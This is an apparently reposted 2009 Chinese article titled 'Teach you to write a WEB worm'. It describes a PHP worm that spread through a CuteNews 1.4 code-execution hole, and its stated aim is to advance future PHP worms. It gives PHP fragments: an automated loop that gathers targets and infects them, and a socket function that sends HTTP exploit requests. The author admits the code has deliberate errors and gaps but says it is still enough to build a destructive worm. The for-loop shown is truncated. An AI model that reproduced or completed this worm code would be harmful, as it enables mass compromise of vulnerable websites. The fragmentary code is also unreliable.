教你编写WEB蠕虫
2009-06-12 16:54:59 来源:WEB开发网本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本进行自我传播。该蠕虫叫World Cant Wait ,在11.2被公布在成千上万个信息公告栏和博客上,以此反对布什政权。原先它利用的是一个私有漏洞,就是最近曝出的关于CuteNews 1.4的php代码执行漏洞。这个蠕虫可自动寻找目标,并自我繁殖。在蠕虫病毒肆虐的同时,街上的人们还高喊着抗议口号。在此我并不打算冒着触犯法律的风险而去破坏一些系统,而是将通过阐述这项技术,并发布相关的模块代码,以此来推动未来PHP蠕虫的发展。
虽然本文中故意留有一些错误,并且仅提供部分代码,但凭此你也是可以写出一个具备一定破坏力的蠕虫病毒的,我们这样做的目的主要是为了防止媒体把我们描述成一些具有暴力和破坏力的黑客。编写蠕虫的优美与才智是体现在编写代码本身,而非它可以黑掉多少系统。现在让我们一起去探索其中的奥秘吧,同时请记住:代码无罪!
===自动化===
挖掘漏洞并编写一个可自动搜集目标和利用的引擎。WEB漏洞具有可预测性,通过搜索引擎可很容易地做到,而且通过构造一系列的HTTP requests即可实现自动化攻击。
while ($stop == false) {
$list = gather_targets();
for ($i=0;$i
echo " [x] targetting $list[$i]...n";
if (!is_infected($list[$i])) infect($list[$i]);
}
$stop = true;
}
为了让WEB蠕虫进行自我传播,你需要将利用过程自动化,这可以通过使用PHP socket函数与web server建立连接,并发送http数据。下面的函数演示了如何使用PHP脚本来连接服务器,发送数据并返回响应信息:
function make_request($domain, $packet) {
$fp = @fsockopen($domain, 80, $errno, $errstr, 10);
if (!$fp) return false;
fwrite($fp, $packet);
while (!feof($fp)) $text.= fgets($fp);
fclose($fp);
}
- ››编写Linux系统下Daemon程序的方法步骤
- ››WEBGAME龙虎榜,《传奇国度》成黑马
- ››WebQQ 2.0添加谷歌音乐方法
- ››WebLogic调整Java虚拟机性能优化参数
- ››webqq2.0协议研究(3)-ClientId生成
- ››Web.config配置文件
- ››WebBrowser组件的execWB方法——Delphi控制浏览器...
- ››Web前端设计模式--制作漂亮的弹出层
- ››WebSphere 反向投资者: 解决 WebSphere Applicati...
- ››WebSphere sMash 的创新应用,第 2 部分: 借助包装...
- ››WebQQ2.0怎样对话区域比例调节
- ››WebQQ2.0——QQ阅读&酷六视频上线
赞助商链接